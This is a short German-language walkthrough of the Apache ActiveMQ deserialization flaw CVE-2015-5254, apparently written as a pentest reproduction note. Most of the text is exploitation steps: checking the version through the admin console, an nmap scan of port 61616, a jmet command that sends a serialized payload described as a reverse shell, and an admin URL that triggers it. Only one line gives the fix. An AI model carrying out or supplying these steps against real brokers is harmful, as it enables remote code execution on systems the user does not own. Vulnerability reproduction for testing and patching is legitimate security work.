
ActiveMQ_CVE-2015-5254
ActiveMQ-Deserialisierung (CVE-2015-5254)
Beschreibung der Schwachstelle: In Apache ActiveMQ-Versionen vor 5.13.0 besteht eine Sicherheitsanfälligkeit, da die Software nicht einschränkt, welche Klassen im Broker serialisiert werden können. Ein entfernter Angreifer kann diese Schwachstelle ausnutzen, um beliebigen Code auszuführen, indem er ein speziell präpariertes serialisiertes Java Message Service (JMS) ObjectMessage-Objekt sendet.
Betroffene Versionen: Apache ActiveMQ 5.x vor 5.13.0
0x01 Melden Sie sich im Admin-Backend an und überprüfen Sie die Version: http://IP:8161

0x02 Stellen Sie fest, ob Port 61616 geöffnet ist:
nmap -sV -Pn -T4 -sC -p 61616 IP

0x03 Senden Sie ein Reverse-Shell-Payload:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "xxx" -Yp ROME IP 61616

0x04 Klicken Sie, um "Browse event-Message ID" auszulösen – erfolgreiche Reverse-Shell:
http://IP:8161/admin/message.jsp?id=ID&JMSDestination=event

Reparaturempfehlungen: Aktualisieren Sie auf die neueste Version und konfigurieren Sie entsprechende WAF-Regeln zur Blockierung.